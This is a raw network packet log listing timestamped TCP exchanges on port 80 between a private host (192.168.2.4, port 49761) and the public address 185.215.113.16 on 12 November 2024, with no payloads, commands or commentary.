Nov 12, 2024 15:41:26.698812008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698821068 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698822021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698846102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698847055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698859930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698870897 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698882103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698894024 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698899031 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698904037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698915005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.698921919 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698946953 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.698970079 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.699220896 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699271917 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.699275017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699290991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699302912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699320078 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.699327946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.699330091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699342966 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.699363947 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.699455023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699506044 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.699527025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699539900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699548960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699561119 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699574947 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699578047 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.699584007 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699619055 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.699619055 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.699630976 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.699692011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699703932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699744940 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.699764013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699779034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699794054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699805021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699817896 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699826956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.699831009 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.699853897 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.699861050 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.700089931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700103998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700113058 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700182915 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.700301886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700315952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700325966 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700356007 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.700375080 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.700401068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700412989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700424910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700436115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700445890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700458050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700465918 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.700481892 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.700481892 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.700515985 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.700658083 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700709105 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.700788021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700798988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700812101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700824022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700834036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700840950 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.700846910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700866938 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.700886011 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.700918913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.700962067 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701046944 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701059103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701067924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701078892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701086998 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701091051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701107025 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701108932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701122046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701132059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701142073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701149940 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701149940 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701153994 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701200008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701203108 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701203108 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701210976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701221943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701240063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701250076 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701256037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701266050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701270103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701277018 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701287985 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701297045 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701302052 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701302052 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701308012 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701313019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701323032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701330900 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701333046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701371908 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701375008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701385021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701392889 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701395988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701411009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701416016 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701436043 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701463938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701525927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701566935 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701596022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701606989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701628923 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701639891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701641083 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701652050 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701675892 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701689005 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701796055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701808929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701818943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701832056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701843023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701849937 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701874018 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701880932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701895952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701906919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701915979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.701942921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.701963902 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702042103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702054024 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702064991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702075005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702085972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702096939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702096939 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702106953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702116966 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702130079 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702178001 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702188015 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702200890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702203035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702214003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702224016 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702224016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702250957 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702256918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702260971 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702266932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702280998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702291012 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702296972 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702301979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702328920 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702358007 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702383041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702394009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702425003 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702543020 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702553034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702569962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702579975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702589035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702590942 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702600002 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702600002 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702610016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702619076 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702646017 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702651024 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702661991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702672005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702682972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702692986 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702697992 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702698946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702708960 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702744007 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702919006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702930927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702940941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702955961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702965975 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702966928 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.702974081 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.702999115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703001976 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703099012 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703109980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703119993 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703130007 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703140974 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703141928 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703161001 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703167915 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703177929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703187943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703190088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703197002 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703207970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703217983 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703226089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703228951 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703237057 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703248978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703253031 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703258991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703268051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703270912 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703279972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703300953 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703325987 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703469038 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703497887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703509092 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703541994 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703600883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703614950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703655958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703691959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703704119 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703727961 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703751087 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703762054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703772068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703780890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703797102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703810930 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703814030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703824043 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703826904 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703841925 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703865051 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.703912973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703962088 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703973055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.703982115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.704006910 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.704035997 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.704052925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.704066992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.704077005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.704088926 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.704099894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.704106092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.704123974 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.704152107 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.704168081 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.704176903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.704209089 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.755666018 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.755767107 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.756036043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.756095886 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.815429926 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.815445900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.815454006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.815466881 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.815665007 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.815712929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.815783024 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.815789938 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.815793037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.815805912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.815819025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.815829992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.815839052 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.815841913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.815898895 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816239119 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816257954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816268921 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816278934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816289902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816317081 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816345930 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816390991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816411972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816422939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816452026 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816503048 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816521883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816545963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816562891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816564083 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816581011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816598892 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816631079 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816648960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816667080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816684008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816688061 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816711903 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816732883 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816760063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816778898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816795111 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816801071 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816812038 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816833019 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816840887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816854000 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816857100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816873074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816891909 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816895008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816905975 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816915035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816930056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816946030 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816951990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816968918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.816977978 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.816986084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817017078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817017078 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817039013 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817039967 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817070961 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817095995 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817130089 CET	80	49761	185.215.113.16	192.168.2.4
